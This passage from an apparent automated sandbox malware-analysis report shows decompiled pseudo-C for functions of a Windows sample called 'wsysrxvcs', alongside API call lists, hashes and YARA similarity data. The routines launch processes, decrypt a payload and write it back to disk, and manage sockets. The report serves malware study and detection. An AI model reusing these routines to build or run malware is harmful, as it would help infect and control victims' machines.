                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
                                                                                                                                                                                                                                                                                                                                                      • String ID: t@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3862671961-2916730932
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cf565aa7011320953ed0e497de7cdfd2dc7c337fcc3144a9e6e6e2bed3c7c21c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C2412F74D04209EFEB14CFA4D848BAEBB75FF44305F10C16AE915A7380DB799A81CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409C30 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409C30() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				void* _t74;

				InitializeCriticalSection(0x4156ac);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409920( *((intOrPtr*)(0x4133b8 + _v12 * 4)), E0040BD50(), 0);
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_v8 = CreateFileW(0x4154a0, 0x80000000, 0, 0, 3, 0, 0);
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409920( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BD50() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8);
				}
				E00409640();
				return E0040BA90( *0x4156c8, 0, E00409510, 0, 0, 0);
			}











                                                                                                                                                                                                                                                                                                                                                      0x00409c3b
                                                                                                                                                                                                                                                                                                                                                      0x00409c41
                                                                                                                                                                                                                                                                                                                                                      0x00409c53
                                                                                                                                                                                                                                                                                                                                                      0x00409c6f
                                                                                                                                                                                                                                                                                                                                                      0x00409c74
                                                                                                                                                                                                                                                                                                                                                      0x00409c50
                                                                                                                                                                                                                                                                                                                                                      0x00409c50
                                                                                                                                                                                                                                                                                                                                                      0x00409c93
                                                                                                                                                                                                                                                                                                                                                      0x00409c9a
                                                                                                                                                                                                                                                                                                                                                      0x00409cb4
                                                                                                                                                                                                                                                                                                                                                      0x00409cbb
                                                                                                                                                                                                                                                                                                                                                      0x00409cd3
                                                                                                                                                                                                                                                                                                                                                      0x00409cda
                                                                                                                                                                                                                                                                                                                                                      0x00409ce8
                                                                                                                                                                                                                                                                                                                                                      0x00409ceb
                                                                                                                                                                                                                                                                                                                                                      0x00409cf2
                                                                                                                                                                                                                                                                                                                                                      0x00409d0d
                                                                                                                                                                                                                                                                                                                                                      0x00409d3a
                                                                                                                                                                                                                                                                                                                                                      0x00409d3f
                                                                                                                                                                                                                                                                                                                                                      0x00409d01
                                                                                                                                                                                                                                                                                                                                                      0x00409d0a
                                                                                                                                                                                                                                                                                                                                                      0x00409d0a
                                                                                                                                                                                                                                                                                                                                                      0x00409d48
                                                                                                                                                                                                                                                                                                                                                      0x00409d48
                                                                                                                                                                                                                                                                                                                                                      0x00409d52
                                                                                                                                                                                                                                                                                                                                                      0x00409d52
                                                                                                                                                                                                                                                                                                                                                      0x00409d5c
                                                                                                                                                                                                                                                                                                                                                      0x00409d5c
                                                                                                                                                                                                                                                                                                                                                      0x00409d62
                                                                                                                                                                                                                                                                                                                                                      0x00409d85

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(004156AC,?,?,?,?,?,?,00406455), ref: 00409C3B
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(004154A0,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409C8D
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409CAE
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409CCD
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 00409CE2
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 00409D48
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00409D52
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 00409D5C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: NtQuerySystemTime.NTDLL ref: 0040BD5A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: RtlTimeToSecondsSince1980.NTDLL ref: 0040BD68
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
                                                                                                                                                                                                                                                                                                                                                      • String ID: Ud@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 439099756-3799767674
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2ca39b87c67915cb13d83b43b208480421a19677a3901e2bda0712843c7ec148
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8001fb0da6053d82c2bd70dd49f35a469f674b8f2be2b54337d57924dfd06c85
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2ca39b87c67915cb13d83b43b208480421a19677a3901e2bda0712843c7ec148
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B9414E74E40208FBDB10DBA4DC4AFAEB770AB44704F208469E6117A2C2C7B96941CB9C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D280 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59sleepprocessCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D280(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406123
				if(CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24) != 1) {
					_t12 =  &_a4; // 0x406123
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8);
				return 1;
			}







                                                                                                                                                                                                                                                                                                                                                      0x0040d28e
                                                                                                                                                                                                                                                                                                                                                      0x0040d298
                                                                                                                                                                                                                                                                                                                                                      0x0040d29b
                                                                                                                                                                                                                                                                                                                                                      0x0040d29e
                                                                                                                                                                                                                                                                                                                                                      0x0040d2a1
                                                                                                                                                                                                                                                                                                                                                      0x0040d2a4
                                                                                                                                                                                                                                                                                                                                                      0x0040d2ab
                                                                                                                                                                                                                                                                                                                                                      0x0040d2b7
                                                                                                                                                                                                                                                                                                                                                      0x0040d2cf
                                                                                                                                                                                                                                                                                                                                                      0x0040d2de
                                                                                                                                                                                                                                                                                                                                                      0x0040d2f5
                                                                                                                                                                                                                                                                                                                                                      0x0040d306
                                                                                                                                                                                                                                                                                                                                                      0x0040d30c
                                                                                                                                                                                                                                                                                                                                                      0x0040d313
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d324
                                                                                                                                                                                                                                                                                                                                                      0x0040d31a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d320
                                                                                                                                                                                                                                                                                                                                                      0x0040d2e5
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040D28E
                                                                                                                                                                                                                                                                                                                                                      • CreateProcessW.KERNEL32 ref: 0040D2D5
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D2E5
                                                                                                                                                                                                                                                                                                                                                      • ShellExecuteW.SHELL32(00000000,open,#a@,00000000,00000000,00000000), ref: 0040D300
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D31A
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleep$CreateExecuteProcessShellmemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: $#a@$D$open
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2222793131-2365623954
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a717dc1a332256b97c6a6da9f1848ef79a3af53e5dfe8345794ead9c5cab1e4b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 22f9de94e88e8be2c8da8ddb0b418ba3c2364b774b65f27a210f96e2ac835ab6
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a717dc1a332256b97c6a6da9f1848ef79a3af53e5dfe8345794ead9c5cab1e4b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 50110371E44308BBEB14CFD4DD46FEE7774AB18700F20412AFA09BA2C0D7B59A448B59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D0C0 Relevance: 15.1, APIs: 10, Instructions: 145fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 83%
                                                                                                                                                                                                                                                                                                                                                      			E0040D0C0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_v16 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0);
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_v16 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0);
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0);
							CloseHandle(_v16);
						}
						E00408B60(_v8);
					}
					return _v21;
				}
				_v28 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0);
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v32 = MapViewOfFile(_v28, 4, 0, 0, 0);
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B0D0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AA70(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12);
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004093B0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408B60(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}














                                                                                                                                                                                                                                                                                                                                                      0x0040d0c8
                                                                                                                                                                                                                                                                                                                                                      0x0040d0cc
                                                                                                                                                                                                                                                                                                                                                      0x0040d0d3
                                                                                                                                                                                                                                                                                                                                                      0x0040d0da
                                                                                                                                                                                                                                                                                                                                                      0x0040d0fa
                                                                                                                                                                                                                                                                                                                                                      0x0040d101
                                                                                                                                                                                                                                                                                                                                                      0x0040d213
                                                                                                                                                                                                                                                                                                                                                      0x0040d217
                                                                                                                                                                                                                                                                                                                                                      0x0040d232
                                                                                                                                                                                                                                                                                                                                                      0x0040d239
                                                                                                                                                                                                                                                                                                                                                      0x0040d23b
                                                                                                                                                                                                                                                                                                                                                      0x0040d251
                                                                                                                                                                                                                                                                                                                                                      0x0040d25b
                                                                                                                                                                                                                                                                                                                                                      0x0040d25b
                                                                                                                                                                                                                                                                                                                                                      0x0040d265
                                                                                                                                                                                                                                                                                                                                                      0x0040d26a
                                                                                                                                                                                                                                                                                                                                                      0x0040d275
                                                                                                                                                                                                                                                                                                                                                      0x0040d275
                                                                                                                                                                                                                                                                                                                                                      0x0040d11b
                                                                                                                                                                                                                                                                                                                                                      0x0040d122
                                                                                                                                                                                                                                                                                                                                                      0x0040d209
                                                                                                                                                                                                                                                                                                                                                      0x0040d20d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d20d
                                                                                                                                                                                                                                                                                                                                                      0x0040d13a
                                                                                                                                                                                                                                                                                                                                                      0x0040d141
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ff
                                                                                                                                                                                                                                                                                                                                                      0x0040d203
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d147
                                                                                                                                                                                                                                                                                                                                                      0x0040d153
                                                                                                                                                                                                                                                                                                                                                      0x0040d15d
                                                                                                                                                                                                                                                                                                                                                      0x0040d167
                                                                                                                                                                                                                                                                                                                                                      0x0040d16c
                                                                                                                                                                                                                                                                                                                                                      0x0040d16f
                                                                                                                                                                                                                                                                                                                                                      0x0040d176
                                                                                                                                                                                                                                                                                                                                                      0x0040d18f
                                                                                                                                                                                                                                                                                                                                                      0x0040d1a9
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ae
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b1
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d1c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d1cb
                                                                                                                                                                                                                                                                                                                                                      0x0040d1de
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e0
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e6
                                                                                                                                                                                                                                                                                                                                                      0x0040d1eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e0
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d176
                                                                                                                                                                                                                                                                                                                                                      0x0040d1f9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d1f9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D0F4
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D115
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D134
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D14D
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040D1F9
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040D203
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D20D
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D22C
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040D251
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D25B
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 171974401-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a871ea3ee36124f8f201eb21574472333d6488282e1205a3daf4965f6c863438
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9f0382f089f225363bc7f55b437f03b50d7b6b351693f58f9837866169394b9b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a871ea3ee36124f8f201eb21574472333d6488282e1205a3daf4965f6c863438
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 16515FB5E00208FBDB14DBE4CC49BDFB775AB48700F208569E6117B2C0D7B9AA45CB94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E730 Relevance: 13.6, APIs: 9, Instructions: 141COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040E730(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BD50());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E110(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E4B0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E110(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E6C0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}
















                                                                                                                                                                                                                                                                                                                                                      0x0040e73a
                                                                                                                                                                                                                                                                                                                                                      0x0040e73c
                                                                                                                                                                                                                                                                                                                                                      0x0040e73e
                                                                                                                                                                                                                                                                                                                                                      0x0040e8c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e8dd
                                                                                                                                                                                                                                                                                                                                                      0x0040e8e2
                                                                                                                                                                                                                                                                                                                                                      0x0040e8f0
                                                                                                                                                                                                                                                                                                                                                      0x0040e8f7
                                                                                                                                                                                                                                                                                                                                                      0x0040e8fc
                                                                                                                                                                                                                                                                                                                                                      0x0040e909
                                                                                                                                                                                                                                                                                                                                                      0x0040e90f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e90f
                                                                                                                                                                                                                                                                                                                                                      0x0040e756
                                                                                                                                                                                                                                                                                                                                                      0x0040e75f
                                                                                                                                                                                                                                                                                                                                                      0x0040e762
                                                                                                                                                                                                                                                                                                                                                      0x0040e825
                                                                                                                                                                                                                                                                                                                                                      0x0040e837
                                                                                                                                                                                                                                                                                                                                                      0x0040e840
                                                                                                                                                                                                                                                                                                                                                      0x0040e85b
                                                                                                                                                                                                                                                                                                                                                      0x0040e873
                                                                                                                                                                                                                                                                                                                                                      0x0040e87d
                                                                                                                                                                                                                                                                                                                                                      0x0040e884
                                                                                                                                                                                                                                                                                                                                                      0x0040e888
                                                                                                                                                                                                                                                                                                                                                      0x0040e892
                                                                                                                                                                                                                                                                                                                                                      0x0040e8a1
                                                                                                                                                                                                                                                                                                                                                      0x0040e8b0
                                                                                                                                                                                                                                                                                                                                                      0x0040e8c1
                                                                                                                                                                                                                                                                                                                                                      0x0040e842
                                                                                                                                                                                                                                                                                                                                                      0x0040e842
                                                                                                                                                                                                                                                                                                                                                      0x0040e845
                                                                                                                                                                                                                                                                                                                                                      0x0040e848
                                                                                                                                                                                                                                                                                                                                                      0x0040e856
                                                                                                                                                                                                                                                                                                                                                      0x0040e856
                                                                                                                                                                                                                                                                                                                                                      0x0040e827
                                                                                                                                                                                                                                                                                                                                                      0x0040e836
                                                                                                                                                                                                                                                                                                                                                      0x0040e836
                                                                                                                                                                                                                                                                                                                                                      0x0040e768
                                                                                                                                                                                                                                                                                                                                                      0x0040e768
                                                                                                                                                                                                                                                                                                                                                      0x0040e76b
                                                                                                                                                                                                                                                                                                                                                      0x0040e91e
                                                                                                                                                                                                                                                                                                                                                      0x0040e91e
                                                                                                                                                                                                                                                                                                                                                      0x0040e771
                                                                                                                                                                                                                                                                                                                                                      0x0040e777
                                                                                                                                                                                                                                                                                                                                                      0x0040e793
                                                                                                                                                                                                                                                                                                                                                      0x0040e7a4
                                                                                                                                                                                                                                                                                                                                                      0x0040e7bc
                                                                                                                                                                                                                                                                                                                                                      0x0040e7c6
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d0
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d4
                                                                                                                                                                                                                                                                                                                                                      0x0040e7d8
                                                                                                                                                                                                                                                                                                                                                      0x0040e7ea
                                                                                                                                                                                                                                                                                                                                                      0x0040e7f6
                                                                                                                                                                                                                                                                                                                                                      0x0040e7fa
                                                                                                                                                                                                                                                                                                                                                      0x0040e804
                                                                                                                                                                                                                                                                                                                                                      0x0040e80b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e811
                                                                                                                                                                                                                                                                                                                                                      0x0040e811
                                                                                                                                                                                                                                                                                                                                                      0x0040e81d
                                                                                                                                                                                                                                                                                                                                                      0x0040e81d
                                                                                                                                                                                                                                                                                                                                                      0x0040e779
                                                                                                                                                                                                                                                                                                                                                      0x0040e78b
                                                                                                                                                                                                                                                                                                                                                      0x0040e78b
                                                                                                                                                                                                                                                                                                                                                      0x0040e777
                                                                                                                                                                                                                                                                                                                                                      0x0040e76b

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchange.KERNEL32(?,00000000), ref: 0040E756
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E780
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E793
